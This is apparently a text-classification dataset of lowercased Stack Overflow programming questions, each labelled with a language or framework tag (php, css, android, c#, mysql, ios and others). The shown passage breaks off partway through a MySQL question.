only header - left fluid - center fixed- left fluid  a use bootstrap.<br> i do not know how to do:   <pre><code>                    width 100%     -------------------------------------------------------------  !            !           header               !             !        !   left.jpg !           center.jpg           !  right.jpg  ! !            !                                !             ! !  fluid     !      fixed - 960px             !    fluid    ! ------------------------------------------------------------! !            !                                !             ! !            !           text                 !             ! !            !                                !             ! !            !                                !             ! !-----------------------------------------------------------! </code></pre>,css
replace .jpg url to .mp4 new extention in php  i am hoping someone can offer some advice.    i have image location (example) src= http://www.abc.com/uploads/images/name123.jpg  (i m using the image already)    i now have a videos for every image i have named the video the same as the images and want to continue to use the image on the page    ie: <a href= http://www.abc.com/uploads/videos/name123.mp4  rel= nofollow >http://www.abc.com/uploads/videos/name123.mp4</a>    please help if you can  hopefully some elegant string replace function,php
listview item not deleting  in my application i add name  address and phone no of person  when i click on view button it will show name  address and phone no. in listview  in my list view each record contain one check box in front of them  if in my list view there are 15 records  out of them only 10 are visible on list view  when i check the 15th record and press delete button it will give me null pointer exception on check box  means the non visible items in the listview are not deleting from list when i check them and press delete  following is my code    <pre><code>for(int i = 0;i&lt;simplecursoradapter.getcount();i++){             view view = listdata.getchildat(i);             checkbox deleteselectes = (checkbox) view.findviewbyid(r.id.checkdelete);              if(deleteselectes.ischecked()){                 cursor.movetoposition(i);                 int delete_id = cursor.getint(0);                 mydbhelper.deleteselected(delete_id);                  intent intent = new intent(getapplicationcontext()  listtabledata.class);                  startactivity(intent);             }          }         break; </code></pre>,android
using foreach to store names of one array in another in c#  now i have a directory with bunch files with format of name like  ext2-401-b-140422-1540-1542.mp4   within which the  140422  part indicates the date. now assume that this bunch of files have the dates like 140421  140422  140423...(for every date there are couple of files). now i shall sort these files according to their dates  so i d like to know how could i get these names (140421 140422 etc). i tried like this:   <pre><code>directory = new directoryinfo(camera_dir);     string[] date = new string[directory.getfiles().length]; foreach (fileinfo file in directory.getfiles()) {      foreach(string name in date)     {         name = file.name.substring(11  6);     } } </code></pre>   and the error message is that i can t assign to name. so anybody could help,c#
c# urdu writing not read from database <pre><code>sqlconnection con = new sqlconnection( data source=alizee_trott\\sqlexpress;initial catalog=urdustemmer;persist security info=false; user id=sa;password=password );  sqldataadapter sda = new sqldataadapter( select * from stop_word_list where word_list= کو     con);  datatable dt = new system.data.datatable(); sda.fill(dt); if (dt.rows.count == 1) {     messagebox.show( ok ); } else {     messagebox.show( not ok ); } </code></pre>,c#
hide default keyboard on click in android  i want to hide the soft keyboard when i click out side of editbox in a screen. how can i do this,android
python: indexerror: list index out of range caeser cipher  i am trying to create a caeser cipher python code and keep getting indexerror: list index out of range   when i type  y .  however there are no problems when i type something like  hello .  i am not necessarily looking for a solution but would love an explanation as i really don t understand it.   <pre><code>    plaintext=raw_input( enter message:  )     convert=plaintext.lower()     alphabet= [ a   b   c   d   e   f   g   h   i   j   k   l   m   n   o   p   q   r   s   t   u   v   w   x   y   z ]       key=2     cipher=        for i in convert:         if i in alphabet:             cipher+=alphabet[(alphabet.index(i)+key%len(alphabet))]      print( your decrypted message is:   +cipher) </code></pre>,python
print html code in text area  here i need to display text with break line but i simply display the html code inside the text area. here is my code   <pre><code>&lt; php $msg.= from : ; $msg.= &lt;br/&gt; ; $msg.= to : ; $msg.= date : ; print_r($msg);  &gt; &lt;textarea&gt;&lt; php print_r($msg); &gt;&lt;/textarea&gt; </code></pre>   i need to print html executed code in text area. thank you in advance.,html
css file still not loading  i m still having problems with loading the style sheet for these pages. works fine in safari but ff and ie  no joy: <a href= http://www.mainstayprojects.com/teardrop.html  rel= nofollow noreferrer >http://www.mainstayprojects.com/teardrop.html</a> andb www.mainstayprojects.com    although i am more clear as to what s causing this problem  thanks the the answers to my previous posting (<a href= https://stackoverflow.com/questions/3273655/css-file-not-loading >stackoverflow.com/questions/3273655/css-file-not-loading</a>)  i am at a loss to how to fix the issue. i have re-saved many times with different doctypes and content type meta tag as well as saving the file as a charset=utf-8 file but have not been able make any headway!    really need some help.,css
how to package an asp.net application to prevent customers from modifying it   is there a tool or some general approach to packaging all the files of an asp.net application into binary form to prevent modification once its deployed   i am thinking there would be a set of signed binaries and a config file for settings that we allow the customer to modify.  has anyone attempted this  is it even possible     i would pay a reasonable amount for a slick commercial product that did this with minimal hassle.    <strong>update</strong>    sorry  from the answers i can see that i wasn t clear.  i meant literally packaging all files  not just the code files.  this means aspx  scripts  images etc.  i m not trying to prevent reverse engineering... this is a supportability issue  i.e. to avoid dealing with problems brought about by customer messing with the files.,asp.net
settimeout() not working  i want to count up the number of below textbox each 1 second.  i tried it like below.but this not work...i don t know where i did mistake.  and also i want to stop that count after the text box value reach 10.  please give me the solution any one...thanks   <pre><code>&lt;script src= http://code.jquery.com/jquery-1.10.2.js &gt;&lt;/script&gt; &lt;script&gt; var fun = function() {  var count = $( #target :text ).val();  $( #target :text ).val(count++);  settimeout(fun  1000);  }  fun(); &lt;/script&gt;  &lt;div id= target &gt; &lt;input type= text  value= 0 &gt; &lt;/div&gt; </code></pre>,javascript
why does mysql insist on using ips instead of hostnames   for example ...   <pre><code>grant select on mydb.* to  myuser @ dashboard.domain.com  identified by  mypasswd ; flush privileges; </code></pre>   from my client  i try to connect ...   <pre><code>mysql -umyuser -p -h mysqlserver </code></pre>   i put in the password and i get ...   <pre><code>error 1130 (00000): host  10.199.1.110  is not allowed to connect to this mysql server </code></pre>   and yes  reverse dns is working for both my client and server.,mysql
throw exception when get error on reflection  i have library and console program. the program dynamically load library and get int array. but program throw exception. can you help me fix it  my library:   <pre><code>public class class1 {   public int [] arrayint;   public class1()   {     arrayint = new int[5] {1 2 3 4 5};   } } </code></pre>   my program:   <pre><code>    assembly asm = assembly.loadfile(@ c:\testlibrary.dll );     type class1 = asm.gettype( testlibrary.class1 ) as type;     var testclass = activator.createinstance(class1);             memberinfo[] list = class1.getmember( arrayint );     foreach (fieldinfo field in list)     {         if (field.fieldtype.isarray)         {             int[] array = (int[])field.getvalue(null);//throw exception here             console.writeline( count of list.  +array.length);                           foreach (var element in array)                 console.writeline(element.tostring());             break;         }     } </code></pre>   exception message:    <blockquote>    system.reflection.targetexception: non-static field requires a target. at system.reflection.rtfieldinfo.checkconsistency(object target) at system.reflection.rtfieldinfo.internalgetvalue(object obj  stackcrawlmark&amp; stackmark)   at system.reflection.rtfieldinfo.getvalue(object obj)   at tets.program.main(string[] args)  </blockquote>   p.s. can you modified code  that first array doesn t take from loop,c#
how to change inbox messages mark from unread to read  i m building a inbox messaging system. all my messages are appearing unread  when most should be marked as  read . i have it set in my messages model to check if unread or read. so i m not understanding why the code is not working for unread/read.    message.rb:   <pre><code>belongs_to :sender      :class_name =&gt;  user       :foreign_key =&gt;  sender_id  belongs_to :recepient      :class_name =&gt;  user       :foreign_key =&gt;  recepient_id       def mark_message_deleted(id user_id)         self.sender_deleted = true if self.sender_id == user_id and self.id=id         self.recepient_deleted = true if self.recepient_id == user_id and self.id=id         self.sender_deleted &amp;&amp; self.recepient_deleted   self.destroy : save!     end      # read message and if it is read by recepient then mark it is read     def self.readingmessage(id  reader)         message = find(id  :conditions =&gt; [ sender_id =   or recepient_id =     reader  reader])         if message.read_at.nil  &amp;&amp; (message.recepient.user_id==reader)             message.read_at = time.now             message.save!         end         message     end      # based on if a message has been read by it s recepient returns true or false.     def read          self.read_at.nil    false : true     end      def self.received_by(user)        where(:recepient_id =&gt; user.id)      end       def self.not_recepient_deleted        where( recepient_deleted =     false)      end  end </code></pre>   messages controller:   <pre><code>class messagescontroller &lt; applicationcontroller    before_filter :set_user    def index     if params[:mailbox] ==  sent        @messages = @user.sent_messages     elsif params[:mailbox] ==  inbox        @messages = @user.received_messages     #elsif params[:mailbox] ==  archieved       # @messages = @user.archived_messages     end   end    def new     @message = message.new     if params[:reply_to]       @reply_to = user.find_by_user_id(params[:reply_to])       unless @reply_to.nil          @message.recepient_id = @reply_to.user_id       end     end   end    def create     @message = message.new(params[:message])     @message.sender_id = @user_id     if @message.save       flash[:notice] =  message has been sent        redirect_to user_messages_path(current_user  :mailbox=&gt;:inbox)     else       render :action =&gt; :new     end   end    def show     @message = message.find(params[:id])   end    def delete_multiple       if params[:delete]         params[:delete].each { |id|           @message = message.find(id)           @message.mark_message_deleted(@message.id @user_id) unless @message.nil          }         flash[:notice] =  messages deleted        end       redirect_to user_messages_path(@user  @messages)   end    private     def set_user       @user = current_user     end end </code></pre>   index view:   <pre><code>&lt;h2&gt;your inbox&lt;/h2&gt; &lt;% if @messages.size == 0 %&gt; no messages in your inbox &lt;% end %&gt; &lt;% else %&gt;         &lt;%= form_tag delete_multiple_user_messages_path  :method=&gt;:post do %&gt;             &lt;table  class= table table-bordered &gt;                     &lt;tr&gt;                     &lt;th&gt;delete &lt;/th&gt;                     &lt;th&gt;sent&lt;/th&gt;                     &lt;th&gt;sender&lt;/th&gt;                     &lt;th&gt;sent&lt;/th&gt;                 &lt;/tr&gt;                     &lt;% for message in @messages %&gt;                         &lt;tr&gt;                             &lt;td&gt;&lt;%= check_box_tag  delete[]   message.id %&gt;&lt;/td&gt;                             &lt;td&gt;                                 &lt;% if message.read  %&gt;                                   &lt;%= link_to h(message.subject)  user_message_path(@user  message) %&gt;                                 &lt;% else %&gt;                                   &lt;%= link_to  #{h(message.subject)} (unread)   user_message_path(@user  message) %&gt;                                 &lt;% end %&gt;                             &lt;/td&gt;                              &lt;td&gt;&lt;%=h message.created_at.to_s(:long) %&gt;&lt;/td&gt;                         &lt;/tr&gt;             &lt;% end %&gt;             &lt;/table&gt;         &lt;%= submit_tag  delete selected  %&gt; |         &lt;% end %&gt; &lt;%= link_to  compose new message   new_user_message_path(@user)%&gt; |  &lt;%= link_to  view sent messages   user_messages_path(current_user  :mailbox =&gt; :sent)%&gt; </code></pre>,ruby-on-rails
how to replace class name dynamically in javascript  i want to change a class dynamically and append a counter to the end of it. i wrote this code but it is treated like strings.    this is the code:   <pre><code>var divclass = document.getelementbyid( div2 ); var i = 1; setinterval(function () {   divclass.classname=divclass.classname.replace( color   color + i);   i++; } 5000); </code></pre>   how can i fix this issue,javascript
how to retrieve specifier names for device in android  is there a way to retrieve list of specifiers for current device that android will use when deciding from which folder to take resource  e.g.  large    port    hdpi    v11    pl  etc.    i need a list of specifiers per device that i can later display or log  this then can help me with tweaks of the layout/settings etc. adjusted per logged/tested device.    in other words i would like to have a method that will return a list (or string combining) all specifiers for current device.   <pre><code>getspecifierlist();//hdpi large port v11 pl... </code></pre>,android
what does var touser = connectedusers.firstordefault(x => x.connectionid == touserid) ; mean   i m just looking at signalr chat application and i m not sure what the following line mean      especially the   <strong>x =></strong>   part.    <pre><code>var touser = connectedusers.firstordefault(x =&gt; x.connectionid == touserid) ; </code></pre>   and then it checks the variable and sends message.   <pre><code>if (touser != null &amp;&amp; fromuser!=null) {      send message  } </code></pre>,c#
why doesn t fread() into my struct work   i have the following code that reads from a file into a struct and into an arrary. when i try to print the data in the struct it isn t what i would expect. the array prints what would be expected  the first two characters in the file.   <pre><code>typedef struct __attribute__((packed)){         uint8_t magic[2];   /* the magic number used to identify the bmp file:                      0x42 0x4d (hex code points for b and m).                      the following entries are possible:                      bm - windows 3.1x  95  nt  ... etc                      ba - os/2 bitmap array                      ci - os/2 color icon                      cp - os/2 color pointer                      ic - os/2 icon                      pt - os/2 pointer. */ } bmp_header_t;   bool bmp_get_header_from_file(file *fp  bmpfile_t *bmp) {        fseek(fp  0l  seek_set);        char magic[1];         fread(magic  1  2  fp);        printf( magic is: %c  %c\n   magic[0]  magic[1]);         fread(&amp;bmp-&gt;header  1  2  fp);         printf( magic is: %c  %c\n   bmp-&gt;header.magic[0]  bmp-&gt;header.magic[1]); } </code></pre>,c
convert array list items to integer  i have an arraylist  say  arr. now this arraylist stores numbers as strings. now i want to convert this arraylist to integer type. so how can i do that      <pre><code>arraylist arr = new arraylist();  string a= mode set - in service   b= mode set - out of service ;  if(line.contains(a) || line.contains(b)) {     stringtokenizer st = new stringtokenizer(line   :mode set - out of service in service );     while(st.hasmoretokens()) {       arr.add(st.nexttoken());       } } </code></pre>,java
treeview and textboxes  1 currently i m working on treeview. apart from treeview there are 3 textboxes. by clicking nodes of treeview i need to enable textboxes. procedure of that is.    if i write text in first text box that should display in treeview s first node s child node  by clicking that child node text should be saved in databse second text box should be enabled aswell. like these i have three textboxes as i mentioned above.  that should be same for 3 textboxes that should be enabled.  can u let me which event i should use. im working on winforms asp.net,asp.net
using a field value from the active record object being saved in a custom validation message   rails 2.3.5    i m having trouble figuring out if this is possible or not (google is not my friend tonight).   i have this validation (for @product.save):   <pre><code>validates_uniqueness_of :product_name  :scope =&gt; [:category  :catalog_id]  :message =&gt;  ...  </code></pre>   i d like the error message to name the category to be clear.  like  say :category in this case is  shoes .    what i d like is to have the error say:   <pre><code> there is already a shoes product in this catalog with the same name.  </code></pre>   for example  i ve tried:   <pre><code>:message =&gt;  there is already a #{:category} product in this catalog with the same name.  </code></pre>   (result:  there is already a category product in this catalog with the same name. )      and   <pre><code>:message =&gt;  there is already a #{@product.catalog} product in this catalog with the same name.  </code></pre>   (result: nil error),ruby-on-rails
static variable is not participated in serialization then how its value is available for the manipulation  questions by a recent interviewer:   <ol> <li> can a static variable participate in serialization process  if no  then how its value will be available for use  </li> <li> can a static method be transient  </li> </ol>,java
how to avoid destroying an object on assignment / returning  this is an example class:   <pre><code>struct peel {     int* p;     bool nodelete;     peel() {          nodelete = false;      }     ~peel() {         if (!nodelete) delete p;     }     peel&amp; operator=(const peel&amp; other) {         p = other.p;         nodelete = true;     } };  struct banana {     peel getpeel() {         peel ret;         ret.p = new int();         return ret;     } }; </code></pre>   so when i call   <pre><code>banana peelsource; auto mypeel = peelsource.getpeel(); </code></pre>   i don t get to use mypeel because somewhere between return and assignment the destructor of the peel object gets called and while the pointer is copied over  the allocated memory is gone and thus invalid pointer.    why i want to create the object like this:   <ol> <li>in my actual class  banana contains a lot of information essential to the creation of peel and overall its easier just to have banana build the peel. </li> <li>i don t want to allocate a peel with new and return a pointer because for one i like the ease of the peel getting automatically destroyed once it goes out of scope and also  peel has a bracket operator which is much nicer without having to dereference the peel in brackets first.</li> </ol>   the assignment operator is my attempt to avoid deleting stuff but its never called  not sure if i did that right.    anyways  how do i make auto mypeel = peelsource.getpeel(); work without having it delete the data,c++
preg_match_all() into variable for each   hi how can i get the echo $row2 into one variabel for each $row2     there will be 5 matches for $day $row  each one containing 3-6 $ratt as $row2.    how can i get each $ratt[1] to a variable like   <pre><code>$day1 =  ...|...|...|...|...|... ; $day2 =  ...|...|...|...|...|... ; $day3 =  ...|...|...|...|...|... ; $day4 =  ...|...|...|...|...|... ; $day5 =  ...|...|...|...|...|... ;   preg_match_all( /&lt;div id=\ lunchmenyspaltrubrik\ &gt;(.*)&lt;\/div&gt;.*&lt;ul&gt;(.*)&lt;\/ul&gt;/us   $contents  $dag  preg_set_order);  foreach ($day as $row ) {    preg_match_all( /&lt;div id=\ nyheterspaltbrod\ &gt;(.* )&lt;\/div&gt;/   $row[2]  $ratt);    foreach ($ratt[1] as $row2 ) {       echo $row2. &lt;br&gt; ;    } }  </code></pre>,php
ios: is secure enclave shared between app extensions   i am working on a app where a encryption key is saved into the secure enclave. so my question is if this data is also shared with the app extensions  i.e. siri / notification center widget / watch app,ios
function argument declaration question from programming in c  stephen kochan  i came across this code in stephen g kochan s book  programming in c. is this possible    <pre><code>float absolute_value(x) float x; {    -----    ----- } </code></pre>   so  as you can see  the argument x is declared after it s used it the method arguments. this throws an obvious compilation error in g++.    so  which c compiler supports this,c
mysql query that can get distinct ids for logins and how many there were  i have a database that gets a new row added for every time a user logs into the system. what i would like to be able to do is first to make a query that gets the distinct entries by the hashed user ids. this i can do. select distinct is our friend it seems. after this  however  i would still like to be able to get a count  per user id  of how many times people logged in.    for instance  if max logged in 3 times and sally logged in 2 times i would have five rows in my db. after running select distinct by their user ids it would just give me one max and one sally user id. after having this information  however  i d like to be able to create a hash  map  whatever  that stores the following information:    max => 3    sally => 2    is there a way using pure  or mostly pure  sql that this could be achieved in an efficient manner or should i simply get out all of the login db rows and search and compile the information myself. i know i could do it this way but <em>somehow</em> that feels slower. thanks,mysql
checking if the app is build as release  i have to make sure  that the app is not sending device token for push notifications  if it build in debug  and send if in release.    can i use this code    <pre><code>#if release [sendtokenrequest senddevicetoken:devicetoken withcompletion:nil]; #endif </code></pre>   obviously it s hard to test  it compiles and not executing in debug  just wan t to make sure it will be executed on production...,ios
delete file from folder and subfolder  i have a php script that uploads a photo to a main folder and copies it into a subfolder. i also have a php script that deletes the photo. the problem is that it only deletes the photo from the main folder and not the subfolder. this is the code i tried to come up with but nothing happens. any thoughts    <pre><code>$deletefile = $galleriesfolder.$folder.$dir.$image;      $deletefile1 = $galleriesfolder.$folder.$dir. /thumbs/ .$image;      unlink($deletefile);      if (!is_file($deletefile)):         die( no file );     endif;     unlink($deletefile1);      if (!is_file($deletefile1)):         die( no file );      endif; </code></pre>,php
getting the values from array to display in uipageviewcontroller  my code as below:-   <pre><code>import uikit fileprivate func &lt; &lt;t : comparable&gt;(lhs: t   rhs: t ) -&gt; bool {   switch (lhs  rhs) {   case let (l   r ):     return l &lt; r   case (nil  _ ):     return true   default:     return false   } }  fileprivate func &gt; &lt;t : comparable&gt;(lhs: t   rhs: t ) -&gt; bool {   switch (lhs  rhs) {   case let (l   r ):     return l &gt; r   default:     return rhs &lt; lhs   } }   class viewcontroller: uiviewcontroller  uipageviewcontrollerdatasource {      // mark: - variables     fileprivate var pageviewcontroller: uipageviewcontroller       let name = [ dfyguhijo   drtfyguhijopk   srdtfyguio ]      // initialize it right away here     fileprivate let contentimages = [ nature_pic_1                                     nature_pic_2                                     nature_pic_3                                     nature_pic_4 ]      // mark: - view lifecycle     override func viewdidload() {         super.viewdidload()         createpageviewcontroller()         setuppagecontrol()     }      fileprivate func createpageviewcontroller() {          let pagecontroller = self.storyboard!.instantiateviewcontroller(withidentifier:  pagecontroller ) as! uipageviewcontroller         pagecontroller.datasource = self          if name.count &gt; 0 {             let firstcontroller = getitemcontroller(0)!             let startingviewcontrollers = [firstcontroller]             pagecontroller.setviewcontrollers(startingviewcontrollers  direction: uipageviewcontrollernavigationdirection.forward  animated: false  completion: nil)         }          pageviewcontroller = pagecontroller         addchildviewcontroller(pageviewcontroller!)         self.view.addsubview(pageviewcontroller!.view)         pageviewcontroller!.didmove(toparentviewcontroller: self)     }      fileprivate func setuppagecontrol() {         let appearance = uipagecontrol.appearance()         appearance.pageindicatortintcolor = uicolor.gray         appearance.currentpageindicatortintcolor = uicolor.white         appearance.backgroundcolor = uicolor.darkgray     }      // mark: - uipageviewcontrollerdatasource      func pageviewcontroller(_ pageviewcontroller: uipageviewcontroller  viewcontrollerbefore viewcontroller: uiviewcontroller) -&gt; uiviewcontroller  {          let itemcontroller = viewcontroller as! pageitemcontroller          if itemcontroller.itemindex &gt; 0 {             return getitemcontroller(itemcontroller.itemindex-1)         }          return nil     }      func pageviewcontroller(_ pageviewcontroller: uipageviewcontroller  viewcontrollerafter viewcontroller: uiviewcontroller) -&gt; uiviewcontroller  {          let itemcontroller = viewcontroller as! pageitemcontroller          if itemcontroller.itemindex+1 &lt; name.count {             return getitemcontroller(itemcontroller.itemindex+1)         }          return nil     }      fileprivate func getitemcontroller(_ itemindex: int) -&gt; pageitemcontroller  {          if itemindex &lt; contentimages.count {             let pageitemcontroller = self.storyboard!.instantiateviewcontroller(withidentifier:  itemcontroller ) as! pageitemcontroller             pageitemcontroller.itemindex = itemindex             pageitemcontroller.imagename = contentimages[itemindex]           //  pageitemcontroller.namess = [name[itemindex]]             return pageitemcontroller         }          return nil     }      // mark: - page indicator      func presentationcount(for pageviewcontroller: uipageviewcontroller) -&gt; int {         return name.count     }      func presentationindex(for pageviewcontroller: uipageviewcontroller) -&gt; int {         return 0     }      // mark: - additions      func currentcontrollerindex() -&gt; int {          let pageitemcontroller = self.currentcontroller()          if let controller = pageitemcontroller as  pageitemcontroller {             return controller.itemindex         }          return -1     }      func currentcontroller() -&gt; uiviewcontroller  {          if self.pageviewcontroller .viewcontrollers .count &gt; 0 {             return self.pageviewcontroller .viewcontrollers![0]         }          return nil     }  } </code></pre>   and pageitem controller:-   <pre><code>    import uikit  class pageitemcontroller: uiviewcontroller {      let namess = [ ram   sam   geera`enter code here` ]        // mark: - variables     var itemindex: int = 0     var imagename: string =    {          didset {              if let imageview = contentimageview {                 imageview.image = uiimage(named: imagename)             }          }     }     @iboutlet weak var name: uilabel!      var names:string!     var des:string!      @iboutlet weak var desc: uilabel!     @iboutlet var contentimageview: uiimageview        // mark: - view lifecycle     override func viewdidload() {         super.viewdidload()         contentimageview!.image = uiimage(named: imagename)         //name.text = namess[0]        // desc.text =  srdtyugiop fhgkl;      } } </code></pre>   this is uipageviewcontroller. here i got the output.but i need to display the first name stored in the array should display first then when page control is 2 then  name should display the index-1.then at third page it should display the name stored in index-2 .how to do,ios
how to get user information from a mysql local database  hey i need to get information from a database and display it on my index.php.   <pre><code>&lt;html&gt; &lt;body&gt; &lt; php $connection = mysql_connect( localhost    root     ); //the blank string is the password mysql_select_db( users );  $query =  select * from employee ; //you don t need a ; like you do in sql $result = mysql_query($query);  echo  &lt;table&gt; ; // start a table tag in the html  while($row = mysql_fetch_array($result)){   //creates a loop to loop through results echo  &lt;tr&gt;&lt;td&gt;  . $row[ name ] .  &lt;/td&gt;&lt;td&gt;  . $row[ age ] .  &lt;/td&gt;&lt;/tr&gt; ;  //$row[ index ] the index here is a field name }  echo  &lt;/table&gt; ; //close the table in html  mysql_close(); //make sure to close out the database connection  &gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   however this will show the information for all of the users in the database. i have a primary key in the database  which is the account number  could we use this to only display information about that account on the page only   i will also need to save the details into variables on the php page so some guidance doing that would be greatfull.    thanks oliver,php
how can i modify a file while other threads read from it   i m multithreading data (both reading and writing) into/from a <em>single</em> text file. i need to be able to replace or remove text from this file <em>without</em> replacing the actual file.    i cannot simply <code>.read()</code> into a string  then <code>.write()</code> a new file with the same name  because other threads are still using that file. i cannot <code>.write()</code> into a different file because threads need to <code>.read()</code> from this <em>single</em> file.    is this possible     is there something equivalent to <code>file.replace()</code> or <code>file.remove()</code> or <code>file.delete()</code>,python
how to force a .net form control (eg a button) to be always rectangular   how to force a .net (under ms windows) form control (eg a button) to be always rectangular      i want it to be able to change it s size but be always rectangular.,.net
idfa - adsense webview  google has updated its policies for allowing adsense units to run within web-views on ios.    i m incorporating the new  feed  unit into a webview application using adsense (not admob)    would this require selecting yes to the idfa,ios
css not picking images from absolute path  my directory structure is   <pre><code>myphoto myphoto/css/myphoto.css myphoto/images/fatherday1.jpg </code></pre>   in the css  i have defined following class   <pre><code>.jumbotron-welcome {     background-image: url( ../images/fathersday1.jpg );     background-size: cover;     color:white; } </code></pre>   i notice that <br /><code>url( ../images/fathersday1.jpg );</code> works but <br /><code>url( /images/fathersday1.jpg );</code> doesn t.    should <code>/images/..</code> path work  i suppose <code>myphoto</code> directory is root of my project and it has <code>images</code> folder.,css
implement this.value in a multiple elements event listener context in javascript  im trying to implement <code>this.value</code> in a multiple elements add.eventlistener context to activate the stuff to do on the element currently under the mouse:   <pre><code>var i = 0; var max = 500; //ms delay mouse-in  function time(){     i++;     if(i&gt;max/10){         i=0;          elements = document.getelementsbytagname( div );         for(i=0; i&lt;elements.length; i++) {                 document.getelementsbytagname( div )[i].style.height =  100px ;             }         clearinterval(interval1);     }      elements = document.getelementsbytagname( div );     for(i=0; i&lt;elements.length; i++) {         document.getelementsbytagname( div )[i].innerhtml = i;         }  }   window.onload = function(e) {      elements = document.getelementsbytagname( div );     for(i=0; i&lt;elements.length; i++) {          document.getelementsbytagname( div )[i].addeventlistener( mouseover   function(){             interval1 = setinterval(time  10); //ms intervalspeed         }  false);          document.getelementsbytagname( div )[i].addeventlistener( mouseout   function(){             clearinterval(interval1);             i = 0;             document.getelementsbytagname( div )[i].innerhtml =  0 ;             document.getelementsbytagname( div )[i].style.height =  80px ;         }  false);      }  } </code></pre>   <br> actually in this code there are some repetition to improve  but what i want is to implement <b><code>this.value</code></b> to control the element currently under the mouse. here a demo: <a href= http://jsfiddle.net/voltk/ua5m2/  rel= nofollow >http://jsfiddle.net/voltk/ua5m2/</a>    @yem salat i m sorry because i found a problem in your solution: the timer of divs does not reset....   <hr>   <b>update: i found the problem: the function time() must be included into the window load  or the  i  on mouseout is not defined.    many thanks to yemsalat for his help.</b>,javascript
how can i get html element with jquery through a variable   sometimes i run in to situations where i have the id of a html element in a variable.<br> for example  <code>var activepage = frontpage</code>. how can i use this to get the div element with jquery     because this is not working: <code>var div = $( # +activepage+ footer li a )</code>.    i know i can use <code>document.getelementbyid(activepage)</code> - but i don t know how i can use this together with jquery.,jquery
in angularjs  using http-interceptor  $interval & $http to wait a while and then retry a timed-out http request  i m trying to use http-interceptor to handle when a $http request times out and to ensure that the requesting function actually gets the response it is after.  <a href= https://stackoverflow.com/questions/20075674/retry-request-with-http-interceptor >retry request with $http interceptor</a> works for me but  it has an immediate retry. what i m really more interested in doing is to wait 5 seconds  and then retry. furthermore  i also want the user to be able to trigger an immediate retry.    what i m attempting to do is something like the below:   <pre><code>joinapp.factory( httpresponseerrorinterceptor  function($q  $injector  $interval) {   return {      responseerror : function(response) {       if (response.status === 0) {         settimetoretry(5); //sets retry timeout to 5 seconds  and starts an interval to reduce the count every second         // should retry         $interval(function(response) {           if(gettimetoretry() &lt;= 0) { //when retry timeout gets to 0  then retry - this also allows for a method that sets the retry timeout to 0 earlier so that a user can make an immediate retry             var $http = $injector.get( $http );             return $http(response.config);           }         } 1000)        }       // give up       return $q.reject(response);     }   }; });  joinapp.config(function($httpprovider) {   $httpprovider.interceptors.push( httpresponseerrorinterceptor ); }); </code></pre>   (as you can see  i ve very liberally copied the base code from that linked answer)    but what i m finding  is that then when the <code>$http</code> request is retried  then it completes the http request successfully  but the code that was looking for the original promise response does not actually get what its after. i m guessing that this is because the existence of the <code>$interval</code> actually moves the response outside of the thread that the request was made in  so the response doesn t go to the same requester  but that s a guess.    what i ve also tried is to chain the <code>$interval</code> promise with the <code>$http</code> promise. something like   <pre><code>var retryintervalpromise = $interval(function(response) {   if(gettimetoretry() &lt;= 0) { //when retry timeout gets to 0  then retry     var $http = $injector.get( $http );     return $http(response.config);   } } 1000) .then(function() {   var $http = $injector.get( $http );             return $http(response.config);             }); return retryintervalpromise </code></pre>   but i ve been informed that the only thing that can be done with the <code>$interval</code> promise is to cancel it  and that didn t seem to work anyway.    does anybody have an idea for how this can be done  or whether the intent works and i ve just done something horribly wrong  thanks!,angularjs
vertical align and auto padding for the same height items by css <pre><code>&lt;div style= height: 480px; &gt;     &lt;!-- active and same padding --&gt;     &lt;div&gt;item 1&lt;/div&gt;     &lt;!-- active and same padding --&gt;     &lt;div&gt;item 2&lt;/div&gt;     &lt;!-- active and same padding --&gt;     ...     &lt;!-- active and same padding --&gt;     &lt;div&gt;item n&lt;/div&gt;     &lt;!-- active and same padding --&gt; &lt;/div&gt; </code></pre>   i have the static height  and all items have both height. but the number of items is not static. i have a function with js.   <pre><code>var padding = ( parentheight - itemheight * length ) / ( length + 1 ); var css = {     paddingbottom: padding      paddingtop: $index   0 : padding }; </code></pre>   may i have a css solution,css
what s the order of usage of header tags   can we use h2 tag before h1 likewise h4 before h3 tag  is it appropriate    <pre><code> &lt;body&gt;    &lt;div class=  &gt;       &lt;h2&gt;content&lt;/h2&gt;    &lt;div&gt;   &lt;div class=  &gt;     &lt;h1&gt;content&lt;/h1&gt;  &lt;/div&gt;  &lt;/body&gt; </code></pre>,html
yin yang like css with empty center  i have this loader here: <a href= https://jsfiddle.net/guanzo/hdn3wqmd/2/  rel= nofollow noreferrer >https://jsfiddle.net/guanzo/hdn3wqmd/2/</a>    i m trying to make it look like this     <a href= https://i.stack.imgur.com/pu0xw.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/pu0xw.png  alt= enter image description here ></a>    i m not sure this can be done with borders alone  i ve tried a bunch of variations of border width/radius etc  but it never comes out right.    <pre><code>.loader {     border-top: 40px solid #3498db; /* blue */     border-bottom: 40px solid darkblue; /* blue */     border-radius: 50%;     width: 300px;     height: 300px; } </code></pre>   edit: i m not asking about making it spin. i m asking how to create my provided image above with css. you ll notice that a yin yang s shape fills a circle. my desired shape does not  and has an empty center.,css
mysql and keyword issue  i have a query which is behaving strange...    firstly  here is a query to get all pms whether or not they ve been read or deleted for the user id 1:   <pre><code>select * from `pms` where `toid` =  1  </code></pre>   this returns <code>3</code> rows as expected. next  let s see if i can get only unread messages for this user:   <pre><code>select * from `pms` where `toid` =  1  and `read` =  0  </code></pre>   this returns <code>2</code> rows as expected. let s see if i can get any read and unread messages which have been binned:   <pre><code>select * from `pms` where `toid` =  1  and `binned` =  0  </code></pre>   this returns <code>2</code> rows as expected.    the query which i need to run is getting all unread and not binned messages for a specified user id. to do this  i am doing this:   <pre><code>select * from `pms` where `toid` =  1  and `read` =  0  and `binned` =  0  </code></pre>   however  it should be returning <code>1</code> row as i know in the database there is a message with <code>toid</code> as <code>1</code>  <code>read</code> as <code>0</code> and <code>binned</code> as <code>0</code> but for some reason this query above is returning <code>0</code> rows...    why is this    <hr>  <h2>update</h2>   here is a screenshot of my table structure as seen in sequel pro:    <img src= https://cl.ly/mskt/screen%20shot%202013-01-27%20at%2017.02.10.png  alt= screenshot >    here is a screenshot of the data inside the table as seen in sequel pro:    <img src= https://cl.ly/msvo/screen%20shot%202013-01-27%20at%2017.00.15.png  alt= screenshot2 >    as you can see there is definitely 1 record with toid as 1  read as 0 and binned as 0.   <hr>  <h2>update 2</h2>   the reason these are enum is because i m wishing to store a boolean value in mysql. i do this by enforcing the column to be either a  1  or a  0  and making it default to  0  as well. if 